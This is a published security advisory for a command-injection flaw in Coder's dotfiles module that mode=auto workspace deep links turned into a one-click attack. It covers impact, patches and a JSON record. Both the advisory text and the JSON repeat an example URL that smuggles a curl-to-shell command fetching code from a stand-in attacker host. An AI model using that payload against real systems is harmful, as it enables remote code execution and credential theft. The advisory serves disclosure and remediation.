GHSA-M3CR-VC2J-PM27

Vulnerability from github – Published: 2026-07-02 18:14 – Updated: 2026-07-07 22:17
VLAI
Summary
Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent
Details

Command injection via dotfiles URI parameter combined with workspace auto-creation

Summary

The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.

Details

Command injection in the dotfiles module (root cause)

The dotfiles module interpolated the user-provided dotfiles_uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles_uri obtained arbitrary code execution in their workspace, even without mode=auto.

Auto-creation amplification (mode=auto)

The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles_uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.

Example URL:

https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com

Impact

Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.

Patches

coder/registry (primary fix)

Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.

  • https://github.com/coder/registry/pull/703

coder/coder (defense-in-depth)

A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.

  • Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011)
  • Patched releases:
  • v2.29.7 (ESR)
  • v2.30.2 (mainline)

Recognition

We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.29.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.30.0"
            },
            {
              "fixed": "2.30.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.27.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T18:14:44Z",
    "nvd_published_at": "2026-07-07T21:17:25Z",
    "severity": "HIGH"
  },
  "details": "# Command injection via dotfiles URI parameter combined with workspace auto-creation\n\n## Summary\n\nThe `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page\u0027s `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.\n\n## Details\n\n### Command injection in the dotfiles module (root cause)\n\nThe [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `\u0026\u0026`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`.\n\n### Auto-creation amplification (`mode=auto`)\n\nThe Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim\u0027s Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.\n\nExample URL:\n\n```\nhttps://\u003cdeployment\u003e/templates/\u003ctemplate\u003e/workspace?mode=auto\u0026param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com\n```\n\n## Impact\n\nArbitrary code execution inside the victim\u0027s workspace. Depending on the workspace\u0027s privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.\n\n## Patches\n\n### coder/registry (primary fix)\n\nInput validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source.\n\n- https://github.com/coder/registry/pull/703\n\n### coder/coder (defense-in-depth)\n\nA consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector.\n\n- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011))\n- Patched releases:\n  - [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR)\n  - [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline)\n\n### Recognition\nWe\u0027d like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy",
  "id": "GHSA-m3cr-vc2j-pm27",
  "modified": "2026-07-07T22:17:26Z",
  "published": "2026-07-02T18:14:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/security/advisories/GHSA-m3cr-vc2j-pm27"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44454"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/pull/22011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/registry/pull/703"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/coder"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/releases/tag/v2.29.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/releases/tag/v2.30.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.